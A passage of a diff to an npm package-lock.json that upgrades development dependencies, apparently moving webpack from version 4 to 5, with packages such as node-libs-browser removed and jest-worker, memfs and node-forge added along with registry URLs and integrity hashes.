"https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz", + "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==", "dev": true }, "iconv-lite": { @@ -7902,12 +7722,6 @@ "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.1.13.tgz", "integrity": "sha512-4vf7I2LYV/HaWerSo3XmlMkp5eZ83i+/CDluXi/IGTs/O1sejBNhTtnxzmRZfvOUqj7lZjqHkeTvpgSFDlWZTg==" }, - "iferr": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/iferr/-/iferr-0.1.5.tgz", - "integrity": "sha1-xg7taebY/bazEEofy8ocGS3FtQE=", - "dev": true - }, "ignore": { "version": "4.0.6", "resolved": "https://registry.npmjs.org/ignore/-/ignore-4.0.6.tgz", @@ -7923,16 +7737,6 @@ "resolve-from": "^4.0.0" } }, - "import-local": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/import-local/-/import-local-2.0.0.tgz", - "integrity": "sha512-b6s04m3O+s3CGSbqDIyP4R6aAwAeYlVq9+WUWep6iHa8ETRf9yei1U48C5MmfJmV9AiLYYBKPMq/W+/WRpQmCQ==", - "dev": true, - "requires": { - "pkg-dir": "^3.0.0", - "resolve-cwd": "^2.0.0" - } - }, "imurmurhash": { "version": "0.1.4", "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", @@ -7960,12 +7764,6 @@ "integrity": "sha1-8w9xbI4r00bHtn0985FVZqfAVgc=", "dev": true }, - "infer-owner": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz", - "integrity": "sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A==", - "dev": true - }, "inflight": { "version": "1.0.6", "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", @@ -8100,13 +7898,23 @@ } }, "internal-ip": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/internal-ip/-/internal-ip-4.3.0.tgz", - "integrity": "sha512-S1zBo1D6zcsyuC6PMmY5+55YMILQ9av8lotMx447Bq6SAgo/sDK6y6uUKmuYhW7eacnIhFfsPmCNYdDzsnnDCg==", + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/internal-ip/-/internal-ip-6.2.0.tgz", + "integrity": "sha512-D8WGsR6yDt8uq7vDMu7mjcR+yRMm3dW8yufyChmszWRjcSHuxLBkR3GdS2HZAjodsaGuCvXeEJpueisXJULghg==", "dev": true, "requires": { - "default-gateway": "^4.2.0", - "ipaddr.js": "^1.9.0" + "default-gateway": "^6.0.0", + "ipaddr.js": "^1.9.1", + "is-ip": "^3.1.0", + "p-event": "^4.2.0" + }, + "dependencies": { + "ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "dev": true + } } }, "internal-slot": { @@ -8121,9 +7929,9 @@ } }, "interpret": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.4.0.tgz", - "integrity": "sha512-agE4QfB2Lkp9uICn7BAqoscw4SZP9kTE2hxiFI3jBPmXJfdqiahTbUuKGsMoN2GtqL9AxhYioAcVvgsb1HvRbA==", + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/interpret/-/interpret-2.2.0.tgz", + "integrity": "sha512-Ju0Bz/cEia55xDwUWEa8+olFpCiQoypjnQySseKtmjNrnps3P+xfpUmGr90T7yjlVJmOtybRvPXhKMbHr+fWnw==", "dev": true }, "invariant": { @@ -8141,21 +7949,15 @@ "dev": true }, "ip-regex": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/ip-regex/-/ip-regex-2.1.0.tgz", - "integrity": "sha1-+ni/XS5pE8kRzp+BnuUUa7bYROk=", + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ip-regex/-/ip-regex-4.3.0.tgz", + "integrity": "sha512-B9ZWJxHHOHUhUjCPrMpLD4xEq35bUTClHM1S6CBU5ixQnkZmwipwgc96vAd7AAGM9TGHvJR+Uss+/Ak6UphK+Q==", "dev": true }, "ipaddr.js": { - "version": "1.9.1", - "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", - "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", - "dev": true - }, - "is-absolute-url": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/is-absolute-url/-/is-absolute-url-3.0.3.tgz", - "integrity": "sha512-opmNIX7uFnS96NtPmhWQgQx6/NYFgsUXYMllcfzwWKUMwfo8kku1TvE6hkNcH+Q1ts5cMVrsY7j0bxXQDciu9Q==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-2.0.1.tgz", + "integrity": "sha512-1qTgH9NG+IIJ4yfKs2e6Pp1bZg8wbDbKHT21HrLIeYBTRLgMYKnMTPAuI3Lcs61nfx5h1xlXnbJtH1kX5/d/ng==", "dev": true }, "is-accessor-descriptor": { @@ -8163,6 +7965,7 @@ "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", "dev": true, + "optional": true, "requires": { "kind-of": "^3.0.2" }, @@ -8172,6 +7975,7 @@ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, + "optional": true, "requires": { "is-buffer": "^1.1.5" } @@ -8195,10 +7999,14 @@ } }, "is-arguments": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/is-arguments/-/is-arguments-1.0.4.tgz", - "integrity": "sha512-xPh0Rmt8NE65sNzvyUmWgI1tz3mKq74lGA0mL8LYZcoIzKOzDh6HmrYm3d18k60nHerC8A9Km8kYu87zfSFnLA==", - "dev": true + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-arguments/-/is-arguments-1.1.1.tgz", + "integrity": "sha512-8Q7EARjzEnKpt/PCD7e1cgUS0a6X8u5tdSiMqXhojOdoV9TsMsiO+9VLC5vAmO8N7/GmXn7yjR8qnA6bVAEzfA==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + } }, "is-arrayish": { "version": "0.2.1", @@ -8216,6 +8024,7 @@ "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-1.0.1.tgz", "integrity": "sha1-dfFmQrSA8YenEcgUFh/TpKdlWJg=", "dev": true, + "optional": true, "requires": { "binary-extensions": "^1.0.0" } @@ -8233,7 +8042,8 @@ "version": "1.1.6", "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.6.tgz", "integrity": "sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==", - "dev": true + "dev": true, + "optional": true }, "is-callable": { "version": "1.1.5", @@ -8255,6 +8065,7 @@ "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", "dev": true, + "optional": true, "requires": { "kind-of": "^3.0.2" }, @@ -8264,6 +8075,7 @@ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, + "optional": true, "requires": { "is-buffer": "^1.1.5" } @@ -8287,6 +8099,7 @@ "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", "dev": true, + "optional": true, "requires": { "is-accessor-descriptor": "^0.1.6", "is-data-descriptor": "^0.1.4", @@ -8297,15 +8110,23 @@ "version": "5.1.0", "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", - "dev": true + "dev": true, + "optional": true } } }, + "is-docker": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz", + "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==", + "dev": true + }, "is-extendable": { "version": "0.1.1", "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", "integrity": "sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=", - "dev": true + "dev": true, + "optional": true }, "is-extglob": { "version": "2.1.1", @@ -8343,6 +8164,15 @@ "integrity": "sha512-gyPJuv83bHMpocVYoqof5VDiZveEoGoFL8m3BXNb2VW8Xs+rz9kqO8LOQ5DH6EsuvilT1ApazU0pyl+ytbPtlw==", "dev": true }, + "is-ip": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/is-ip/-/is-ip-3.1.0.tgz", + "integrity": "sha512-35vd5necO7IitFPjd/YBeqwWnyDWbuLH9ZXQdMfDA8TEo7pv5X8yfrvVO3xbJbLUlERCMvf6X0hTUamQxCYJ9Q==", + "dev": true, + "requires": { + "ip-regex": "^4.0.0" + } + }, "is-negative-zero": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.1.tgz", @@ -8354,6 +8184,7 @@ "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", "dev": true, + "optional": true, "requires": { "kind-of": "^3.0.2" }, @@ -8363,6 +8194,7 @@ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, + "optional": true, "requires": { "is-buffer": "^1.1.5" } @@ -8381,23 +8213,11 @@ "integrity": "sha512-w942bTcih8fdJPJmQHFzkS76NEP8Kzzvmw92cXsazb8intwLqPibPPdXf4ANdKV3rYMuuQYGIWtvz9JilB3NFQ==", "dev": true }, - "is-path-in-cwd": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-path-in-cwd/-/is-path-in-cwd-2.1.0.tgz", - "integrity": "sha512-rNocXHgipO+rvnP6dk3zI20RpOtrAM/kzbB258Uw5BWr3TpXi861yzjo16Dn4hUox07iw5AyeMLHWsujkjzvRQ==", - "dev": true, - "requires": { - "is-path-inside": "^2.1.0" - } - }, "is-path-inside": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-2.1.0.tgz", - "integrity": "sha512-wiyhTzfDWsvwAW53OBWF5zuvaOGlZ6PwYxAbPVDhpm+gM09xKQGjBq/8uYN12aDvMxnAnq3dxTyoSoRNmg5YFg==", - "dev": true, - "requires": { - "path-is-inside": "^1.0.2" - } + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz", + "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==", + "dev": true }, "is-plain-obj": { "version": "2.1.0", @@ -8471,13 +8291,17 @@ "version": "1.0.2", "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz", "integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==", - "dev": true + "dev": true, + "optional": true }, "is-wsl": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-1.1.0.tgz", - "integrity": "sha1-HxbkqiKwTRM2tmGIpmrzxgDDpm0=", - "dev": true + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz", + "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==", + "dev": true, + "requires": { + "is-docker": "^2.0.0" + } }, "isarray": { "version": "1.0.0", @@ -8581,6 +8405,34 @@ "integrity": "sha512-TpfaviN1R2pQWkIihlfEanwOXK0zcxrKEE4MlU6Tn7keoXdN6/3gK/xl0yEh8DOunn5pOVGKf8hB4R9gVh04ig==", "dev": true }, + "jest-worker": { + "version": "27.2.0", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.2.0.tgz", + "integrity": "sha512-laB0ZVIBz+voh/QQy9dmUuuDsadixeerrKqyVpgPz+CCWiOYjOBabUXHIXZhsdvkWbLqSHbgkAHWl5cg24Q6RA==", + "dev": true, + "requires": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + }, + "dependencies": { + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true + }, + "supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, "js-base64": { "version": "2.5.2", "resolved": "https://registry.npmjs.org/js-base64/-/js-base64-2.5.2.tgz", @@ -8648,12 +8500,6 @@ "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=", "dev": true }, - "json3": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/json3/-/json3-3.3.3.tgz", - "integrity": "sha512-c7/8mbUsKigAbLkD5B010BK4D9LZm7A1pNItkEwiUZRpIN66exu/e7YQWysGun+TRKaJp8MhemM+VkfWv42aCA==", - "dev": true - }, "json5": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", @@ -8717,12 +8563,6 @@ "resolved": "https://registry.npmjs.org/keycharm/-/keycharm-0.2.0.tgz", "integrity": "sha1-+m6i5DuQpoAohD0n8gddNajD5vk=" }, - "killable": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/killable/-/killable-1.0.1.tgz", - "integrity": "sha512-LzqtLKlUwirEUyl/nicirVmNiPvYs7l5n8wOPP7fyJVpUPkvCnW/vuiXGpylGUlnPDnB7311rARzAt3Mhswpjg==", - "dev": true - }, "kind-of": { "version": "6.0.3", "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", @@ -8775,9 +8615,9 @@ } }, "loader-runner": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-2.4.0.tgz", - "integrity": "sha512-Jsmr89RcXGIwivFY21FcRrisYZfvLMTWx5kOLc+JTxtpBOG6xML0vzbc6SEQG2FO9/4Fc3wW4LVcB5DmGflaRw==", + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.2.0.tgz", + "integrity": "sha512-92+huvxMvYlMzMt0iIOukcwYBFpkYJdpl2xsZ7LrlayO7E8SOv+JJUEK17B/dJIHAOLMfh2dZZ/Y18WgmGtYNw==", "dev": true }, "loader-utils": { @@ -8928,12 +8768,6 @@ } } }, - "loglevel": { - "version": "1.6.8", - "resolved": "https://registry.npmjs.org/loglevel/-/loglevel-1.6.8.tgz", - "integrity": "sha512-bsU7+gc9AJ2SqpzxwU3+1fedl8zAntbtC5XYlt3s2j1hJcn2PsXSmgN8TaLG/J1/2mod4+cE/3vNL70/c1RNCA==", - "dev": true - }, "longest-streak": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/longest-streak/-/longest-streak-2.0.4.tgz", @@ -8996,7 +8830,8 @@ "version": "0.2.2", "resolved": "https://registry.npmjs.org/map-cache/-/map-cache-0.2.2.tgz", "integrity": "sha1-wyq9C9ZSXZsFFkW7TyasXcmKDb8=", - "dev": true + "dev": true, + "optional": true }, "map-obj": { "version": "1.0.1", @@ -9009,6 +8844,7 @@ "resolved": "https://registry.npmjs.org/map-visit/-/map-visit-1.0.0.tgz", "integrity": "sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=", "dev": true, + "optional": true, "requires": { "object-visit": "^1.0.0" } @@ -9024,17 +8860,6 @@ "integrity": "sha512-APMBEanjybaPzUrfqU0IMU5I0AswKMH7k8OTLs0vvV4KZpExkTkY87nR/zpbuTPj+gARop7aGUbl11pnDfW6xg==", "dev": true }, - "md5.js": { - "version": "1.3.5", - "resolved": "https://registry.npmjs.org/md5.js/-/md5.js-1.3.5.tgz", - "integrity": "sha512-xitP+WxNPcTTOgnTJcrhM0xvdPepipPSf3I8EIpGKeFLjt3PlJLIDG3u8EX53ZIubkb+5U2+3rELYpEhHhzdkg==", - "dev": true, - "requires": { - "hash-base": "^3.0.0", - "inherits": "^2.0.1", - "safe-buffer": "^5.1.2" - } - }, "mdast-util-from-markdown": { "version": "0.8.5", "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-0.8.5.tgz", @@ -9074,14 +8899,13 @@ "integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=", "dev": true }, - "memory-fs": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.4.1.tgz", - "integrity": "sha1-OpoguEYlI+RHz7x+i7gO1me/xVI=", + "memfs": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/memfs/-/memfs-3.2.4.tgz", + "integrity": "sha512-2mDCPhuduRPOxlfgsXF9V+uqC6Jgz8zt/bNe4d4W7d5f6pCzHrWkxLNr17jKGXd4+j2kQNsAG2HARPnt74sqVQ==", "dev": true, "requires": { - "errno": "^0.1.3", - "readable-stream": "^2.0.1" + "fs-monkey": "1.0.3" } }, "meow": { @@ -9108,6 +8932,12 @@ "integrity": "sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=", "dev": true }, + "merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", + "dev": true + }, "merge2": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", @@ -9152,6 +8982,7 @@ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", "dev": true, + "optional": true, "requires": { "arr-diff": "^4.0.0", "array-unique": "^0.3.2", @@ -9168,24 +8999,6 @@ "to-regex": "^3.0.2" } }, - "miller-rabin": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/miller-rabin/-/miller-rabin-4.0.1.tgz", - "integrity": "sha512-115fLhvZVqWwHPbClyntxEVfVDfl9DLLTuJvq3g2O/Oxi8AiNouAHvDSzHS0viUJc+V5vm3eq91Xwqn9dp4jRA==", - "dev": true, - "requires": { - "bn.js": "^4.0.0", - "brorand": "^1.0.1" - }, - "dependencies": { - "bn.js": { - "version": "4.12.0", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", - "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==", - "dev": true - } - } - }, "mime": { "version": "2.4.5", "resolved": "https://registry.npmjs.org/mime/-/mime-2.4.5.tgz", @@ -9252,12 +9065,6 @@ "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==", "dev": true }, - "minimalistic-crypto-utils": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/minimalistic-crypto-utils/-/minimalistic-crypto-utils-1.0.1.tgz", - "integrity": "sha1-9sAMHAsIIkblxNmd+4x8CDsrWCo=", - "dev": true - }, "minimatch": { "version": "3.0.4", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", @@ -9291,29 +9098,12 @@ } } }, - "mississippi": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/mississippi/-/mississippi-3.0.0.tgz", - "integrity": "sha512-x471SsVjUtBRtcvd4BzKE9kFC+/2TeWgKCgw0bZcw1b9l2X3QX5vCWgF+KaZaYm87Ss//rHnWryupDrgLvmSkA==", - "dev": true, - "requires": { - "concat-stream": "^1.5.0", - "duplexify": "^3.4.2", - "end-of-stream": "^1.1.0", - "flush-write-stream": "^1.0.0", - "from2": "^2.1.0", - "parallel-transform": "^1.1.0", - "pump": "^3.0.0", - "pumpify": "^1.3.3", - "stream-each": "^1.1.0", - "through2": "^2.0.0" - } - }, "mixin-deep": { "version": "1.3.2", "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.2.tgz", "integrity": "sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==", "dev": true, + "optional": true, "requires": { "for-in": "^1.0.2", "is-extendable": "^1.0.1" @@ -9324,6 +9114,7 @@ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", "dev": true, + "optional": true, "requires": { "is-plain-object": "^2.0.4" } @@ -9344,20 +9135,6 @@ "resolved": "https://registry.npmjs.org/moment/-/moment-2.25.3.tgz", "integrity": "sha512-PuYv0PHxZvzc15Sp8ybUCoQ+xpyPWvjOuK72a5ovzp2LI32rJXOiIfyoFoYvG3s6EwwrdkMyWuRiEHSZRLJNdg==" }, - "move-concurrently": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/move-concurrently/-/move-concurrently-1.0.1.tgz", - "integrity": "sha1-viwAX9oy4LKa8fBdfEszIUxwH5I=", - "dev": true, - "requires": { - "aproba": "^1.1.1", - "copy-concurrently": "^1.0.0", - "fs-write-stream-atomic": "^1.0.8", - "mkdirp": "^0.5.1", - "rimraf": "^2.5.4", - "run-queue": "^1.0.3" - } - }, "ms": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", @@ -9402,6 +9179,7 @@ "resolved": "https://registry.npmjs.org/nanomatch/-/nanomatch-1.2.13.tgz", "integrity": "sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==", "dev": true, + "optional": true, "requires": { "arr-diff": "^4.0.0", "array-unique": "^0.3.2", @@ -9458,6 +9236,12 @@ "is-stream": "^1.0.1" } }, + "node-forge": { + "version": "0.10.0", + "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.10.0.tgz", + "integrity": "sha512-PPmu8eEeG9saEUvI97fm4OYxXVB6bFvyNTyiUOBichBpFG8A1Ljw3bY62+5oOjDEMHRnd0Y7HQ+x7uzxOzC6JA==", + "dev": true + }, "node-gyp": { "version": "3.8.0", "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-3.8.0.tgz", @@ -9486,71 +9270,6 @@ } } }, - "node-libs-browser": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/node-libs-browser/-/node-libs-browser-2.2.1.tgz", - "integrity": "sha512-h/zcD8H9kaDZ9ALUWwlBUDo6TKF8a7qBSCSEGfjTVIYeqsioSKaAX+BN7NgiMGp6iSIXZ3PxgCu8KS3b71YK5Q==", - "dev": true, - "requires": { - "assert": "^1.1.1", - "browserify-zlib": "^0.2.0", - "buffer": "^4.3.0", - "console-browserify": "^1.1.0", - "constants-browserify": "^1.0.0", - "crypto-browserify": "^3.11.0", - "domain-browser": "^1.1.1", - "events": "^3.0.0", - "https-browserify": "^1.0.0", - "os-browserify": "^0.3.0", - "path-browserify": "0.0.1", - "process": "^0.11.10", - "punycode": "^1.2.4", - "querystring-es3": "^0.2.0", - "readable-stream": "^2.3.3", - "stream-browserify": "^2.0.1", - "stream-http": "^2.7.2", - "string_decoder": "^1.0.0", - "timers-browserify": "^2.0.4", - "tty-browserify": "0.0.0", - "url": "^0.11.0", - "util": "^0.11.0", - "vm-browserify": "^1.0.1" - }, - "dependencies": { - "browserify-zlib": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/browserify-zlib/-/browserify-zlib-0.2.0.tgz", - "integrity": "sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA==", - "dev": true, - "requires": { - "pako": "~1.0.5" - } - }, - "buffer": { - "version": "4.9.2", - "resolved": "https://registry.npmjs.org/buffer/-/buffer-4.9.2.tgz", - "integrity": "sha512-xq+q3SRMOxGivLhBNaUdC64hDTQwejJ+H0T/NB1XMtTVEwNTrfFF3gAxiyW0Bu/xWEGhjVKgUcMhCrUy2+uCWg==", - "dev": true, - "requires": { - "base64-js": "^1.0.2", - "ieee754": "^1.1.4", - "isarray": "^1.0.0" - } - }, - "pako": { - "version": "1.0.11", - "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz", - "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==", - "dev": true - }, - "punycode": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz", - "integrity": "sha1-wNWmOycYgArY4esPpSachN1BhF4=", - "dev": true - } - } - }, "node-sass": { "version": "4.14.1", "resolved": "https://registry.npmjs.org/node-sass/-/node-sass-4.14.1.tgz", @@ -11765,12 +11484,20 @@ } }, "npm-run-path": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-2.0.2.tgz", - "integrity": "sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=", + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz", + "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", "dev": true, "requires": { - "path-key": "^2.0.0" + "path-key": "^3.0.0" + }, + "dependencies": { + "path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true + } } }, "npmlog": { @@ -11786,12 +11513,12 @@ } }, "nth-check": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-1.0.2.tgz", - "integrity": "sha512-WeBOdju8SnzPN5vTUJYxYUxLeXpCaVP5i5e0LF8fg7WORF2Wd7wFX/pk0tYZk7s8T+J7VLy0Da6J1+wCT0AtHg==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.0.1.tgz", + "integrity": "sha512-it1vE95zF6dTT9lBsYbxvqh0Soy4SPowchj0UBGj/V6cTPnXXtQOPUbhZ6CmGzAD/rW22LQK6E96pcdJXk4A4w==", "dev": true, "requires": { - "boolbase": "~1.0.0" + "boolbase": "^1.0.0" } }, "null-loader": { @@ -11828,6 +11555,7 @@ "resolved": "https://registry.npmjs.org/object-copy/-/object-copy-0.1.0.tgz", "integrity": "sha1-fn2Fi3gb18mRpBupde04EnVOmYw=", "dev": true, + "optional": true, "requires": { "copy-descriptor": "^0.1.0", "define-property": "^0.2.5", @@ -11839,6 +11567,7 @@ "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, + "optional": true, "requires": { "is-descriptor": "^0.1.0" } @@ -11848,6 +11577,7 @@ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, + "optional": true, "requires": { "is-buffer": 